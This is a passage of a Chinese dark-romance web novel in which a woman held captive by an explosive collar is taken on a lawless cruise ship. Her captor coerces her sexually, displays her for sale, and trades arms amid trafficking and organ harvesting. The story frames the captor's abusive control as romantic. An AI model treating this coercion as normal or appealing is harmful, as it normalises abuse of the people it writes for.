周景行的怀抱是干净温热的,是风雪夜的炭火。
他的手是画画的手,不是拿刀的手。
“为了一尊玉佛,你把徐家弄到这个地步?”秋榕榕伏在他怀里,背脊一阵阵发冷。
他的手勾着她的发丝,“我只是为了拿回我家的东西。”
那个玉佛价值两个亿而已。
而那场大火,毁了整个归墟市的富人区,烧掉了近千亿。
周景行动徐家,原因有很多。
一是为了翡翠玉佛,当年他们销赃,无人敢买,是徐家买了偷偷收藏起来。
二是因为周元宵庇护了谭妈妈,谭妈妈是当年火灾的元凶之一,要杀她,就得除掉徐家这个帮手。
至于第三点,那就是徐家是一只大肥羊。
看着就让人眼馋。
那么大的家族,却没有称职的继承人。
徐元宵老了,徐照只是一个无所事事的二世祖。
他们树大招风,就不能怪周景行使点手段,把这整只大肥羊吃进肚子里。
秋榕榕有话想说,但她不敢说。
怕说错了话,又招来一顿惩罚。
周景行察觉到秋榕榕的迟疑,“想说什么便说。”
秋榕榕没开口。
他又补充,“这次不会罚你。”
他这话说的,可真像古代专制帝王,为了让底下的臣子说实话,在臣子开口前,说上一句“有话直言,恕你无罪。”
周景行已经这么说,秋榕榕便把心里想的说出来。
“如果我的爸妈真像你口中所说的罪无可恕,那在我出生后,他们又是做慈善,教育我做个好人,就很奇怪……他们真的会变化这么大吗?”
一个十恶不赦的坏人,真的会在一夕之间幡然醒悟,然后自此放下屠刀,积德行善吗?
秋榕榕无论如何也想不通。
这话不该和周景行说。
但秋榕榕无人可诉。
她就自己一个人,听说徐照被带走后,她晚上经常做噩梦,梦见徐照被掏空内脏的惨状。
她还会梦见福尔马林里泡着自己的头颅,和徐照并排放着。
周景行声音格外的温柔:“或许是因为有了你。”
秋榕榕迷惑的想要抬头看他,却被他按住了脑袋。
他把她圈在怀里,不让她乱动。
周景行接着说:“畜生做了父母,开始想着行善积德,怕坏事做尽报应在自己孩子身上。
但最后,还是报应在你身上了。”
说到后面,他还轻笑两声。
手在她裙子里流连,抚摸着她身上每一寸伤疤,掠过铃铛时,他心情尤为的好。
“如果他们知道,自己的女儿为了活命,在仇人身下极尽谄媚,婉转承欢,他们会怎么想?真可惜,江无渡没耐心,若是留他们一条命,让他们参观现在的你,那才算是杀人诛心。”
周景行致力于从精神和信仰上彻底摧毁一个人。
那是他的癖好。
她的每一次受伤,都是为他的父母在还债。
他玩得尽兴。
她吞了父母种下的苦果,像吃了黄连没处找公道。
周景行看见她苦哈哈的表情。
很可爱。
一个没经历过什么风雨的小姑娘,生在那样的家庭里,又遇到他们三个,算是她倒了大霉。
可谁让她父母当年做事做得不干净?
杀了人,又没本事全杀光,才害得自己孩子也倒霉。
周景行不会留手,也不会给秋榕榕生下小孩,长大后找他报仇的机会。
斩草除根,是他们的行为准则。
第96章 枪响
天空泛着灰蓝色,阳光未露,潮湿的海风携着咸味,扑在她的脸上。
游轮缓缓驶离港口,轰鸣低沉。
秋榕榕站在甲板上,看着夜色里碎银般的海面,任由周景行拿着她的手机,拍下照片发朋友圈。
她的手机里的消息,都是由周景行回的。
他不给她手机。
游轮上有赌场,有提供特殊服务的俱乐部,也有买卖人口的黑市。
行驶到公海后,这里就是无法之地。
周景行是带秋榕榕来谈生意的。
好消息,她不是商品,是女伴。
坏消息,来这艘船上做女伴的都是新闻上的失踪人口或者意外死亡人士。
“去不去赌场?”周景行给秋榕榕披了一件驼色的羊绒大衣,“夜里甲板处风寒,别久站。”
秋榕榕摇了摇头,“我想回房间。”
夜晚的游轮有许多新花样。
秋榕榕不喜欢夜生活。
在她看来,夜晚只有睡觉一个用途。
哦不,有了周景行之后,她的夜晚还多了一项睡前运动。
说什么男人可以把性和爱分得很开。
其实女人也可以。
周景行说,让她恐惧性爱。
他并没有做到这一点。
她只是害怕他那个密码箱而已。
“那我和你一起回房。”周景行也没有不良夜生活的习惯。
他不喜欢妓女身上的香水味。
以往谈生意,他没有女伴,总显得格格不入。
有些老板身上江湖气太重,他们只和臭味相投的人谈生意,排斥洁身自好的人。
周景行不重欲,但懂得多,唯一的实践只在秋榕榕身上,这次带秋榕榕来,只是为了谈两单生意。
一是出售军火。
二是暗网数据资产收购。
夜晚的游轮发出鸣笛声,游轮的客房有窗户,秋榕榕偏着头,看见黑得发亮的海面鼓起,一浪高过一浪拍打着船身。
“专心点。”
“外面的海浪好大,这艘船会沉没吗?”这是秋榕榕第一次坐游轮,她在无垠的大海上感受到了自己的渺小。
“不会,又不是泰坦尼克号,沉不了。”周景行不满她在这种时候走神,抚着她的脸颊,把她的目光从窗外拉了回来。
“这个船不经过冰山地带吧?”
怕撞到冰山沉没,她葬身大海。
“不经过。”
恍惚间,她听见他低声唤她的名字,似真似假,如同在水下说话,浸润着潮湿的夜色。
“嘶——”秋榕榕皱眉。
打牌得讲究技巧。
秋榕榕觉得他得稍微提升一点服务意识。
于是,她点了点他的唇:“服务我一次,嗯?”
周景行按着她的手腕,拒绝了她的请求。
“别乱动。”
秋榕榕有些惋惜。
她伸出手,虚虚地压在他的脖子上,又提议道:“我们换一换?”
“我喜欢乖的。”
他俯身在她耳后说:“如果你能哭两声,我会更尽兴。”
吻落在她的发梢,像一点点星火,在游轮上漫长的夜色里一点点燃起。
秋榕榕喘不过气。
他不放过她,她紧咬着下唇,摆烂不动。
直到隔壁传来争论声。
随后传来三声枪响。
“隔壁出事了!”秋榕榕惊惧,导致周景行闷哼一声。
他抱怨道:“这么多次了,还不习惯。”
秋榕榕这个时候哪还有什么旖旎的心思,她胡乱地把旁边的裙子套在自己身上,紧张兮兮地说道:“隔壁有人开枪。”
周景行起身,拧开一瓶矿泉水,仰头喝了下去。
他把喝了一半的水递给秋榕榕,语气平淡:“这条船上每天都会死人,不用大惊小怪。”
游轮会驶向公海,属于三不管地带。
在这艘船上,每天都进行着很多非法交易。
有交易就有争端,有争端就会有死人。
“在船上别乱跑,也别想着找别人求救。别人抓了你,只会拿你来我这边换好处。我是来谈生意的,不是来捐款的。你最好乖乖的,要是真出了什么事我不会赎你。”
秋榕榕连连点头。
如果可以,除了去餐厅吃饭,她愿意一直待在房间里不出去。
晚上因为枪响和海浪晃动,秋榕榕怎么都睡不熟。
她夜里惊醒,就会下意识地去摸周景行在不在身边。
幸好,每一次他都在。
害她的恶徒,在这种时候,也能成为她唯一的依仗。
第二天清晨,秋榕榕是跟着周景行离开房间的。
她看见隔壁房间有清洁工正在擦拭房间里的血液。
清洁工习以为常地把染血的床单扔进蓝色桶里。
然后沾着水,用抹布把地板缝隙里的血渍抠干净。
尸体已经搬走了。
不是喂鱼,是被拆器官。
器官拆完之后,没用的部分再喂鱼。
周景行懒得看热闹,他牵着秋榕榕去餐厅吃早点,路上交代她:“去大餐厅的时候,不要吃肉类。”
“为什么?”
“这艘船几年才靠一次岸,里面的肉有时不干净。”
而刚才在房间里擦拭血迹的清洁工抬起头,看向秋榕榕的方向,目光沉沉。
第97章 游轮
秋榕榕只在餐厅吃了一点水果沙拉,沙拉里的酸奶不新鲜,她喝了两口之后就想上厕所。
周景行不可能跟着她进女厕所。
“给你五分钟。”他看了一眼手表上的时间。
“呃……你不给我手机,我怎么看时间?”
天地良心,秋榕榕说话并不是为了堵他,她说的都是现实问题。
周景行把自己的手表摘下来,给她戴上,“快去快回。”
没人权,上厕所还要控制时间。
“知道了。”秋榕榕手里握着餐巾纸,在进入厕所之后,就把那个手表摘下来,用纸巾裹住,免得里面有窃听器。
女厕所里有一位清洁工阿姨正在打扫卫生。
厕所里的窗户是那种窄小的高处窗户。
以秋榕榕的身形,虽然可以从窗户钻出去,但是厕所里没有可以借力的东西让她爬到上面的窗户。
这艘游轮驶向公海。
游轮上随便乱跑很危险。
虽然也有救生艇,但在不知道路线的情况下,单凭救生艇到达岸边几乎不可能。
秋榕榕摸了摸脖子上的项圈。
最大的问题就是这个项圈。
秋榕榕不知道周景行手中的按钮可控制的信号范围是多远。
只要逃离信号范围,他手中的引爆器就不能用……
就在此时,那个清洁工阿姨突然把她拉到厕所隔间。
秋榕榕正准备呼救,清洁工阿姨喊出了她的名字。
“秋榕榕……”
秋榕榕差点以为自己听错,“你是谁?”
清洁工阿姨摘下口罩,沧桑的脸上流下两行热泪。
“我是你周阿姨,和你爸爸妈妈是高中同学。”
秋榕榕看清她的脸,确实和周淮远照片里的周阿姨有几分相似。
只不过老了许多。
秋榕榕赶紧用手攥着口袋里的手表。
另外一只手摸索着脖子上项圈上的小孔,用手堵住,这个项圈上也有监听设备。
她不知道这样有没有用,但她惶恐这事被周景行发现。
周景行要报复周家,要是知道周阿姨也在船上,肯定要对她下手。
周阿姨明显是想找她叙旧。
但这里不是个叙旧的好地方。
“我不是,你认错人了。”秋榕榕虽然矢口否认,但还是对着周阿姨挤眉弄眼,暗示她自己现在受人控制。
厕所没监控。
周阿姨盯着她的脸,意识到了她的暗示,拿出手机打字给她看。
“你是不是不方便说话?”
秋榕榕点头,她接过周阿姨的手机,也开始打字。
“我身上有微型炸弹,你可以找到救援吗?”
周阿姨看见那行字愣住了。
她这才注意到秋榕榕脖子上的银白项圈。
远远看,还以为是什么昂贵的饰品。
周阿姨拿出手机继续打字,“我现在没有合法身份,帮不了你,但是我有办法离开这艘船,你要不要和我一起?”
秋榕榕怕脖子上的微型炸弹引爆,让她尸首分离。
她不能立刻答应下来。
只是问了时间。
周阿姨告诉她,出发时间是在七日后,坐的是游艇。
“我的家人还好吗?”
秋榕榕想到周叔叔和周淮远的惨状,不知应该如何回答她。
她只打了几个字。
“不太好,但都活着。”
“活着,就有希望。”
五分钟时间已到。
秋榕榕赶紧离开厕所。
周阿姨说,她会找机会再联系她,秋榕榕点头答应下来。
从厕所出来的时候,秋榕榕用凉水洗了脸。
她做亏心事容易脸红。
拿凉水冰一冰,脸色才正常。
周景行熄灭手机屏幕,上面的计时器显示正好五分钟。
“卡点,就这么不想见我?”
“不是。”秋榕榕悄悄地把脸上的水往他风衣上蹭了蹭,“厕所里面要排队。”
她挽着他的胳膊,“走吧。”
周景行给她换了一身礼服。
游轮室内有暖气,秋榕榕穿的新中式礼服还是把全身都遮盖住,她跟着他进入包厢,里面还有很多和她一样的年轻男女,跪在地上侍奉。
无法之地,没有道德。
秋榕榕从那些人的身上扫过。
就她包裹的最严实。
周景行坐在沙发上,旁边没有她的位置。
秋榕榕得向其他老板带来的伴侣一样,跪在地毯上。
与周景行谈生意的老板是一个红胡子外国人,脸上毛发浓密,宝蓝色的眼珠子一直在她的身上打转。
而跪在红胡子老板身边神情呆滞的女人,秋榕榕在电视上见过,是一位国际知名模特,之前出车祸死亡。
死去的人,被药物控制,出现在了这艘游轮上。
他们是用外语交流。
不知名国家的语言。
秋榕榕一个词语也听不懂。
周景行的手一直放在她的头顶时不时抚摸着。
秋榕榕听不懂话,但是能够看得懂他们之间的手势。
桌子上放的是枪和子弹。
秋榕榕推测他们在谈军火生意。
胡子比了一个七的数字,周景行这边没同意,他又改成八,然后指着秋榕榕,露出一抹不怀好意的笑容。
秋榕榕跪坐在地上,腿有一些麻。
她看见周景行笑着看了一眼红胡子身边的女模特,说话的语气有几分调笑的意味,引得红胡子哈哈大笑。
他拍了拍那个女人的脑袋,示意她去周景行身边。
那个女人就真的顺从地跪坐到秋榕榕身边。
周景行私下里从不喝酒,但为了谈生意,他还是和那个大红胡子推杯换盏。
期间,沈砚川也推门走了进来,加入了这场欢宴。
他进门时,只是淡淡地扫了一眼秋榕榕,然后拿掉眼镜,走到周景行身边,帮他分担一些进过来的酒。
配合得当,把红胡子哄得天花乱坠。
他们的注意力暂时没有放在女人身上。
秋榕榕悄悄地往旁边挪了挪,和她搭话,“凯瑟琳?你是不是就是电视上的那个凯瑟琳?”
旁边的女人动了动脑袋。
她张开嘴巴,摇摇头。
秋榕榕没看见舌头,黑漆漆的嘴巴像是看不见尽头的隧道,她惊恐地往旁边一倒,握紧拳头。
这艘游轮,这是一艘要命的游轮!
第98章 身价
凯瑟琳拥有红色的头发,肤白貌美,像是囚禁在游轮里的人鱼公主。
可惜她没有鱼尾巴,不能纵身跃入大海寻找自由。
秋榕榕从来没有近距离接触过那么漂亮的外国女人,她眼窝深邃,皮肤细腻得像是羊脂玉。
秋榕榕记得新闻里,她失踪的时候是三十岁。
三十岁是女人最好的年纪,和十八岁一样。
凯瑟琳递给了秋榕榕一支香烟。
秋榕榕摇摇头,“我不抽烟。”
凯瑟琳露出茫然的表情。
凯瑟琳不能说话,她低着头,犹豫片刻,又从内衣里扣出来两片白色的小药丸,犹犹豫豫地给秋榕榕。
似乎有点舍不得。
“啊……啊……”她冲着秋榕榕笑,示意秋榕榕吃。
秋榕榕摆手,“不用了。”
凯瑟琳像看怪物似的看秋榕榕,随后把药片塞进自己的嘴巴里,没多久,药效起来,她脸上开始露出空虚的笑容。
这个包间里乌烟瘴气,除了正在谈事情的那群人还算正常,其余老板带过来的伴侣都开始吞云吐雾,甚至开始现场表演。
秋榕榕眼神不知道往哪里放,她不适应玩乐场。
这里的一切令她陌生又恐惧。
他们说着异国他乡的话,喝的酒也是五颜六色的,秋榕榕挤在他们这群人中间,一个字也听不懂。
那个红色大胡子再一次看向秋榕榕。
他对秋榕榕很感兴趣。
周景行犹豫了片刻,对沈砚川说道:“把她带过来。”
沈砚川是周景行忠诚的影子。
他走过来,俯下身,在秋榕榕耳边交代,“不要喝任何人给你的水,不要吃任何人给你的东西。待会让你干什么就干什么,笑起来,别甩脸。”
“笑不出来怎么办?”秋榕榕仰起头,试图扯了扯唇角笑起来,“海风吹多了有点面瘫。”
沈砚川嫌弃地瞅了一眼,觉得她笑起来太难看,“那就不笑,别勉强。”
秋榕榕跟着他到了人群中央。
围观的人冲着她吹口哨。
房间里的灯光落在秋榕榕身上。
她跪坐在正中央的圆形毯子上。
他们围绕着她,像介绍商品一样介绍她,掀开她的衣服,展示着她后背上纵横交错的疤痕。
有一条疤痕有筷子那么长。
红胡子“咯咯”地笑了几声,他从沙发上站起来,走到秋榕榕身边,上手去摸,秋榕榕没敢躲,硬着头皮承受下来。
他很满意。
又坐回沙发上,叫来了凯瑟琳。
红胡子在凯瑟琳耳边低声说了一句话。
凯瑟琳款款走来,跪坐在秋榕榕的正对面,微低着头,指尖轻轻抚过秋榕榕的发梢,低头吻了上来。
她的嘴唇柔软,眼神魅惑。
秋榕榕忍住后退的冲动,被动地承受着。
一吻结束。
红胡子点起一根雪茄抽着,他抬抬手示意凯瑟琳离开。
“行了。”沈砚川拍拍秋榕榕的肩膀,示意她这边的工作也结束。
周景行和红胡子开始交谈。
秋榕榕听不懂他们的对话,沈砚川在她旁边,解释给她听。
“那个红胡子看上你了,他们在商量你的价格。”
沈砚川优雅地端着鸡尾酒。
“别担心,就是带你露个脸,在这些人中往上炒一炒你的身价,不会真把你卖出去。”
秋榕榕不能坐沙发,她得和其他奴隶一样,跪坐在地上。
她选择了盘腿坐的姿势,仰头问道:“你们也在这艘游轮上买过人吗?”
“买过。”
秋榕榕瞬间露出鄙夷的神色。
然后,她又低着头,避免被他看见。
沈砚川坐在黑色皮沙发上,双腿交叠,指尖缓慢地转动着高脚玻璃杯,似笑非笑地说道:“你以为我们买的是女人?”
“不然呢?”
这艘船上也有男奴。
只不过他们三个,江无渡看谁都像兔子,周景行就她一个女人,还有一个……秋榕榕偷偷打量沈砚川,四年来也没见他有女朋友,难道他也不喜欢女的?
“你在想什么?”沈砚川觉得秋榕榕看他的眼神毛毛的。
“你是不是喜欢男的?”之前沈砚川总是帮着周景行说话,秋榕榕怀疑他对周景行有其他想法。
“当然不是!”沈砚川像是被踩到尾巴,“你下次不许把你心里想的直接说出来。”
“哦。”秋榕榕瘪嘴,明明是他自己要问的。
沈砚川平复了一下心情,压低声音说道:“这艘船上贩卖孤儿,他们没有国籍,没有身份,是乖巧又凶狠的狗,只会听主人的话。”
他们在国外买了这些人做保镖。
秋榕榕唾弃道:“真没人性。”
沈砚川有些意外,“你不想给自己也安排一个吗?”
“不想。”欺负孤儿不得好死。
秋榕榕鄙夷这艘船上的一切。
周景行和红胡子谈判。
不论红胡子出多高的价格,周景行都是摇头。
让那些人乘兴而来,败兴而归。
红胡子有些惋惜地看着秋榕榕,最后揽着凯瑟琳离开。
沈砚川倒是兴致不错,他垂眸问跪坐在地上的秋榕榕,“你知道刚才那个红胡子要花多少钱买你一夜?”
秋榕榕茫然地说道:“九万。”
毕竟红胡子比画了一个九。
“是九百万。”
“这么贵。”秋榕榕很意外,她并非凯瑟琳那种大美女,很难想象有人愿意花这个数买她一晚上。
“这个世界上审美奇奇怪怪,就像你身上的疤痕,入了一些有怪癖人的眼里,就是美艳绝伦。”
沈砚川把没喝的酒奖励给了脚边一个试图缠上来的女人,重新戴上眼镜。
“走,那边谈完了,我们过去。”
沈砚川绅士的伸出手拉秋榕榕。
秋榕榕因为跪坐太久,血液不循环,腿一软。
“你没事吧?”幸亏沈砚川还拉着秋榕榕,不然她会摔倒在地上。
“脚麻了,要缓缓。”秋榕榕弯下腰揉了揉自己的小腿。
沈砚川上手扶秋榕榕,她骨架单薄,轻飘飘的像是秋天的落叶,风一吹就会飞走。
太轻了。
“你是不是又瘦了?”
“我没称体重。”
“在闹绝食?”
“不是,我每天都在好好吃饭,只是……”她担惊受怕,吃得再多也长不起来肉。
秋榕榕叹了口气,“我恨不得一天吃六顿。”
第99章 漏网
连番遭遇,秋榕榕苦苦支撑,能走到今天已经很不容易。
沈砚川知道周景行的手段。
他拥有两副完全相反的面孔。
温柔谦和是他,残酷冷漠也是他,他擅长用奖惩交替来控制人心,让人分不清是爱还是暴力。
很多人持这套。
就不知秋榕榕吃不吃。
秋榕榕没有在沈砚川面前流过眼泪,这给沈砚川一种她很坚强,怎么都打不垮的错觉。
可现在看来,也不过是个刚毕业的小姑娘。
沈砚川看向周景行的方向,“我可以帮你求情。”
“什么?”包厢内音乐嘈杂,秋榕榕没听清。
他扶了一下眼睛,“没什么。”
这次的生意谈得很顺利。
沈砚川邀请周景行去赌场。
周景行握着秋榕榕的手,“不了,我要陪女朋友。”
他说的是玩笑话。
秋榕榕没当真,沈砚川也心知肚明。
人质就是人质,人质不会成为女朋友。
他提醒道:“那就对我的学生好一点,毕竟这么乖的不好找。”
沈砚川之前帮秋榕榕补习过,有的时候他喜欢以老师自居。
“你竟然也开这种玩笑。”周景行眼角闪过一丝意外,他没想到向来泾渭分明的沈砚川会帮秋榕榕说话。
沈砚川拍了拍周景行的肩膀,“不是玩笑,是真心话。她体重太轻,你要注意些。”
周景行侧头看秋榕榕,“你现在体重多少?”
秋榕榕有些局促的抠手:“不知道,很久没称了。”
回到房间后,周景行似乎是有些疲惫,他抱着她,把脸埋在她的脖颈处,“今天是不是吓到你了?”
“还好。”秋榕榕主要怕和陌生人接吻会得传染病,其他的没什么。
她没有特别的愤恨,只是问道:“今天这单做成了,你能赚多少?”
周景行说了一个秋榕榕无法想象的数字。
“怪不得。”秋榕榕叹了口气。
“怪不得什么?”
“怪不得你会和那个讨厌的大胡子做生意。”
周景行说:“这单生意能够如此顺利谈成,你是功臣。”
他们的生意不仅是数字交易,权财色缺一不可。
秋榕榕不懂其中的弯弯绕绕,她说:“你可以去雇一个演员。”
“有你在就可以了,我们没有正式分手,你就还是我的女朋友。”周景行身处现在这个位置,有很多女人向他献过殷勤。
他没有接受,不是因为他品质高洁,坐怀不乱,而是因为不能在那些女人面前展露真正的自己。
耳鬓厮磨是最亲密的事情。
他怕情起时暴露弱点,便拒绝所有向他示好的女人。
秋榕榕其实很想问他,哪有男朋友会把自己的女朋友当成商品推出来炫耀。
但她没问。
因为,周景行从暴露真面目的那一刻起,就不是她的男朋友了。
秋榕榕平静地点头:“知道了。”
周景行端详着秋榕榕的脸,有些愉快地说道:“这种时候你不应该对我表露一下心意吗?骂我负心薄情也可以,我不怪你。”
他以为她会骂他,会质问他为什么要把她当成商品一样推到人前,给人评头论足。
但是没有。
她只说,她知道了。
心平气和,没有怨怼。
“哥哥,你这样不算负心,毕竟你一开始就没有拿出过真心。”秋榕榕就连埋怨也保持在安全线之上。
“你呀,又把话挑明。”周景行捏了捏她的脸,今天这单生意让他赚了不少,他心情不错,所以无论秋榕榕说什么,他都不会惩罚她。
“我让你骂我,是为了让你心情好一点。你体重下降和饮食没关系,是你心里憋着气,发泄出来不就好了?”
他在逗她。
秋榕榕两只手搭在他的肩膀上,亲了亲他的唇角。
“在这艘船上,你是我唯一可以依赖的人。我指望你带我下船呢,讨好你还来不及,骂你做什么?”
他不得不提醒她:“我是你的仇人。”
她低声补一句:“也是男朋友。”
周景行微微眯起眼,目光一寸一寸地从她脸上扫过,看着她脸上露出的破绽。
心虚的眼神,不自然的呼吸……
显然那句“也是男朋友”是哄他的谎言。
秋榕榕驯顺地低头。
周景行又在秋榕榕身上感受到了他无法控制的古怪违和感。
现在他终于知道这股违和感出自哪里了。
出自于秋榕榕的坦诚。
她已经投降,可那双眼睛并不认命。
她坦诚时,字字句句,都是真心话。
她说谎时,假的又一眼能识破。
是因为她太简单,让他纵容她对他一再说谎。
周景行自信自己可以轻易分辨。
但有时听多了,他也会迷惑,会觉得她的谎言里,掺杂了几分真心。
夜里,秋榕榕醒了。
月光斜斜落在床沿,她看着身边呼吸均匀的周景行,悄悄从他的怀里起身下床,光着脚在房间里摸索。
她想找项圈的引爆器。
之前在别墅,秋榕榕没敢找,是因为别墅里布满了监控,再加上范围过大,秋榕榕不知道去哪里找。
游轮房间就不同了。
他们带的行李少,这个房间就这么大,仔细找找,说不定可以找到。
秋榕榕刚搜完床底,从底下爬出来的时候,正好对上周景行睁开的眼睛。
他一直醒着。
就那么安静地看着她在房间里翻箱倒柜。
“找到了吗?”他声音低哑。
“房……房间里有老鼠……我如果说房间里有老鼠,你相信吗?”秋榕榕的谎言向来拙劣。
周景行当然不信她的鬼话,他翻身看向天花板:“别找了,我既然和你同床共枕,引爆器就不在我身上。”
秋榕榕光着脚站在地板上,她麻木地低头看着自己的脚趾,不知怎么解释。
“上来睡觉。”他说。
秋榕榕重新爬上床,坠着的铃铛晃动,她内心忐忑,怕周景行找她麻烦。
“不罚你,箱子没带。”周景行捏着她缠着绷带的手指,“看在你白天表现还算不错的份上,这次算了。”
他把她的手重新塞回被子里,轻轻拍了拍,“睡吧。”
秋榕榕睡不着,总是翻身。
就导致周景行也没办法睡好觉。
周景行白天应酬,身体疲惫,现在只想睡觉,秋榕榕半夜又是在房间找东西,又是在床上翻来翻去,让他不耐。
他的嗓音干涩,“你到底在干什么?”
“我失眠……”
他侧身撑起上半身,领口微敞露出线条优美的锁骨,昏暗房间中他眉眼深沉,薄唇抿出不耐的弧度。
“我看你是精力旺盛。”他翻身把她压下,他的脸近在咫尺,逼得她呼吸急促。
“我现在就睡。”秋榕榕赶紧闭上眼睛,决定再难受也不翻腾。
“晚了!”他没好气地说道:“本想放过你,是你自找的。”
此时,周景行的手机亮起。
沈砚川深更半夜给他发了一条短信。
上面是周阿姨的照片。
配上一句话:漏网之鱼找到了。
第100章 寄生
沈砚川是一个观察者,他一直游离在秋榕榕的身边,保持一段距离,但从未真正远离。
他比谭松还要先见到秋榕榕,但没和她亲近。
后来谭松坐牢,他照顾了秋榕榕大学剩下来的时光。
周景行是当局者迷,沈砚川却看得非常清楚,秋榕榕是个很恐怖的女人,不能把她当正常人看,她经历过一年的虐待能逃出来,就不是一个正常人。
在学校被诬陷偷窃,秋榕榕一直被排挤。
学校里经常有人会刁难她,说难听的话指桑骂槐。
学校对她不公平,原本应该有她获取的奖学金名额被别人顶掉,她出去找零工,也有人暗戳戳地告诉老板她之前偷窃,让老板不要雇佣她。
有时候被欺负急了,秋榕榕会出现放空状态,她盯着一个方向,一动不动,就这样过一会,她的心绪就能平复,变回一开始木木的状态。
没人能把她打垮。
她遇到这些事情,很伤心,恢复得也快,没有真正的倒下。
她分得清轻重缓急。
为了能顺利毕业,她在学校和所有人都好好说话。
伸手不打笑人脸。
她没有歇斯底里去指责过,最后学校也正常给她颁发毕业证。
这个女人知道怎么做能把损失控制在最小。
而今,面对他们,也是这个态度。
沈砚川不信秋榕榕能真的逃脱。
没人能从他们的手心里逃脱。
徐家本事这么大,还不是在几年内被他们分食殆尽。
秋榕榕只是个孤儿。
没钱,没本事,没人脉。
她再能忍,最后还是死路一条。
沈砚川是这么想的。
他自己都没有意识到,他和周景行产生了同样的想法。
那就是,他们都意识到秋榕榕身上的违和感,却因为轻视她,觉得让她再多活一段时间也没事。
他们在放任她活着。
把她的死刑一天一天往后推。
秋榕榕看见周景行手机上的内容心惊肉跳,她的慌乱溢于言表,两只手推着他的胸膛,恨不得把眼睛粘在她的手机屏幕上。
“怕什么?你们之前见过了?”周景行只是诈一下她。
她的反应很大,眼神从手机屏幕上移开,明明心虚还要直视着他,“怎么会!”
他看见她黑色瞳孔外圈较浅的琥珀色。
秋榕榕觉得周景行应该没有把他脖子上项圈的录音调出来挨个听。
那样做很耗费心神。
可仅听秋榕榕说话的语气,周景行就坐实了她的罪状。
周景行没那么爱生气,相比较其他人,他是最有耐心的那一个。
沈砚川爱说谎,他嘴上喜欢挂一些无伤大雅的谎言,而谎言一旦被拆穿,他立刻就会暴露本来面目,不再演戏。
周景行是一个愿意维持谎言的人。
因为他知道,秋榕榕和他一样。
他只要维持着温情的表面,她就会和他好好说话。
一旦暴露,她就只能仓惶地祈求他放过。
以前周景行很满足这样的状态。
因为他能控制她的情绪。
但最近,周景行不怎么想维持温情的假面。
他想让她认清现实。
“你以为你的周阿姨会来救你吗?你可知道你为什么会来到归墟市?为什么刚来一个月之后就联系不到周叔叔?”
秋榕榕自己想过这个问题。
最后都归结于周景行害人,把周叔叔害到高位截瘫,把周阿姨害到远走他乡,所以他们不联系她。
秋榕榕没去想自己之前电话打通了,周叔叔含糊其辞这件事。
她的潜意识让她避免我朝这个方向想。
因为她知道,答案可能不是她所想要的。
周景行掰着她的脸,不允许她逃避。
他强硬地把一些事情摊开,让秋榕榕明白,她身边的所有人都在算计她,没有人是真心对她好的。
“你的周叔叔和周阿姨已经察觉到我们会回来复仇,他们为了给自己争取逃亡的时间,才把你接到别墅来为他们分担我们的注意力。
你来归墟市之前,他们就已经尝试对国外转移资产,我发现的时候只拦截到周叔叔,周阿姨已经跑了。
当年火灾后,你爸妈害怕,搬离了这座城市,谭松的父亲纸醉金迷忙着讨好老婆孩子,只有周叔叔胆子最大,留在这座城市,留在他的犯罪地,还请来大师镇压亡魂。”
秋榕榕胸口起伏,喘着气,“不是你说的这样,周淮远也留在别墅里,那可是他们的亲儿子!”
她感激了周叔叔四年,这个真相让她失落又茫然,她不愿意接受。
秋榕榕以前一直觉得这个世界还是好人多。
但她身边全是坏人。
所有人都骗她。
爸爸妈妈骗她,学校里的朋友骗她,周景行也骗她。
他们都装成一副好人的样子出现在她身边,然后每个人都往她的身上捅刀子。
“亲儿子又怎么样?一个自闭症加过度肥胖的亲儿子,他们早就想舍弃了。
他们这些年从未关心过自己的小孩,要不然,也不会连亲女儿在外面被人欺负,被逼自杀,都不知道。
他们以为自己的女儿只是离家出走,其实早就被埋在花坛里,他们不关心也不在乎,他们甚至连家里住了其他人都不知道。”
他早就寄生在周家,在暗地里吸着周家的血,但是周家出了一个傻子,没有人察觉到。
周景行的话,让秋榕榕不得不面对现实。
她得相信,周叔叔和周阿姨确实不是什么好人。
但周阿姨说了要带她离开。
如果可以毁掉全部的引爆器,或者逃离引爆器的信号范围,她就可以去找其他专业人士拆除脖子上的项圈,摆脱死神掐在她脖子上的手。
他低头咬了咬她的耳朵,惩罚她又在走神。
“你的周阿姨逃不掉,你也逃不掉,我现在就把结果告诉你,免得你又抱着不切实际地幻想做蠢事。”
做了违逆他的事情,他会罚她。
但她太瘦了。
他既不想违背自己的规矩,也不想真把她折磨到骨瘦嶙峋。
所以他警告她,希望她自己不要惹事情,别给他罚她的理由。
秋榕榕觉得大脑嗡嗡响,像是有几百只苍蝇在她耳边转悠,她捂着自己的小腹,忽然觉得腹痛难忍。
一开始,周景行以为她是难以接受现实,产生躯体性反应。
直到她把为数不多的晚餐呕吐出来,又摔下床,冷汗直流地蜷缩在地上,嘴唇发紫的时候,周景行才意识到事情不对劲。
秋榕榕紧紧地抓住他西服裤的裤管,“疼……疼得很……救我……”
第101章 温水
周景行看见秋榕榕的脸瞬间褪尽血色,她眉头紧皱,捂着小腹,身体弯成弓。
有很多人在他面前这么倒下过。
有些还是他开的枪。
但秋榕榕倒下的时候,他竟然坐在床边怔愣片刻。
直到她的求救声传来。
他的瞳孔猛地一缩,蹲下身将她扶住。
“不是让沈砚川提醒你,别乱吃船上的东西吗?你是不是喝了别人给你的酒!”周景行的声音第一次带着明显的颤意,不是怒,而是慌。
他的手有些抖,去探她的额头,又落到她的小腹,把手覆盖在她捏着小腹的小手上,不敢太用力。
秋榕榕演技极差,她如果说疼的话,那是真的疼的不能忍了。
“我……我没乱吃东西……”秋榕榕细长的手指紧紧地抓住他。
“那怎么搞的?”他咬着牙,语气急促,唇线绷得死紧。
“我不知道……”她虚弱地张开嘴巴,胡言乱语,“哥,我……我可能是怀孕了。”
周景行立刻否认:“不可能,江无渡上次给你做过检查,以你现在的身体状况根本不可能怀孕。”
“宫外孕啊,你不懂,宫外孕很危险,很容易死人的……”
周景行瞬间失了分寸。
这触及到他的知识盲区。
他一向掌控一切,现在却只觉得无措。
“我带你去找医生。”他说完就要抱起她。
她拉住了他的袖子,唇色苍白:“要正规的医生……有执照的那种……”
“知道了,不会让你麻药醒来后让你少一个器官。”周景行觉得她又好气又好笑,这种时候还知道提要求。
她对自己好得很,才舍不得死。
这艘游轮上压根就没有治病救人的医生。
周景行在游轮上还算是有名气,别人会尊称他一声周总。
他的生意大头在国外,和许多战乱小国打交道,自从吞了徐家的生意之后日渐壮大,也渐渐在洗白,把那些灰色产业剥离掉。
